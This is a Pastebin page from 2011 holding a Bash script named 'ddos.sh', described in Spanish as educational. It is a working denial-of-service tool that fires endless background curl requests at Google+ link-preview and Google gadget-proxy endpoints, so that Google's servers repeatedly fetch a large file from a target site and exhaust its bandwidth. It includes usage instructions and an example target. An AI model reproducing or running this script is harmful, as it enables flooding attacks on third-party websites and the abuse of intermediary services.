yosoysupercholo

programa scripting

Nov 3rd, 2011
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.66 KB | None | 0 0
  1. script ddos.sh (a título educacional para aquellos que como yo gusten del scripting)
  2.  
  3. #!/bin/bash
  4.  
  5. #   Bug found by                        #
  6. #       Simone 'R00T_ATI' Quatrini      #
  7. #       Mauro 'epicfail' Gasperini      #
  8. #       Site: http://www.ihteam.net     #
  9.  
  10. function start {
  11.     echo "[*] Sending `echo $2` Requests..."
  12.  
  13.     for a in `seq $2`
  14.     do
  15.         id=$((RANDOM%3999999+3000000))
  16.         nohup curl "https://plus.google.com/_/sharebox/linkpreview/?c=$url&t=1&_reqid=$id&rt=j" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
  17.         nohup curl "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?url=$urlclear&container=focus" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
  18.     done
  19.  
  20.     echo "[*] Still attacking `echo $urlclear`"
  21.     echo "[*] Sleeping for 10 Seconds"
  22.     sleep 10
  23.     start url $2 urlclear
  24. }
  25.  
  26. echo ''
  27. echo '             88888888ba,    88888888ba,                  ad88888ba  '
  28. echo '    aa      88      `"8b   88      `"8b                d8"     "8b  '
  29. echo '    88      88        `8b  88        `8b               Y8,          '
  30. echo 'aaaa88aaaa  88         88  88         88   ,adPPYba,   `Y8aaaaa,    '
  31. echo '""""88""""  88         88  88         88  a8"     "8a    `"""""8b,  '
  32. echo '    88      88         8P  88         8P  8b       d8          `8b  '
  33. echo '    ""      88      .a8P   88      .a8P   "8a,   ,a8"  Y8a     a8P  '
  34. echo '            88888888Y""    88888888Y""     `"YbbdP""    "Y88888P"'
  35. echo ''
  36.  
  37. if [ "$#" -lt 2 ]; then
  38.     echo "Usage: $0 <big file> <Requests>"
  39.     echo "Example: $0 http://www.site.com/very_big_file.tar.gz 1000"
  40.     echo ""
  41.  
  42.     exit 0
  43. fi                                                                                                                                                                                  
  44.  
  45. case $2 in
  46.     *[!0-9]* )  echo "$2 is not numeric" && exit 1;;
  47. esac                                                                                                                                                                                
  48.  
  49. echo "Attack -->" $1
  50. match1=/
  51. repl1=%2F
  52. match2=:
  53. repl2=%3A
  54. url=$1
  55. urlclear=$1                                                                                                                                                                        
  56.  
  57. url=${url//$match1/$repl1}
  58. url=${url//$match2/$repl2}                                                                                                                                                          
  59.  
  60. echo ""
  61. echo "[*] Loop started! CTRL+C to stop"
  62. echo ""
  63.  
  64.  
Advertisement
Add Comment
Please, Sign In to add comment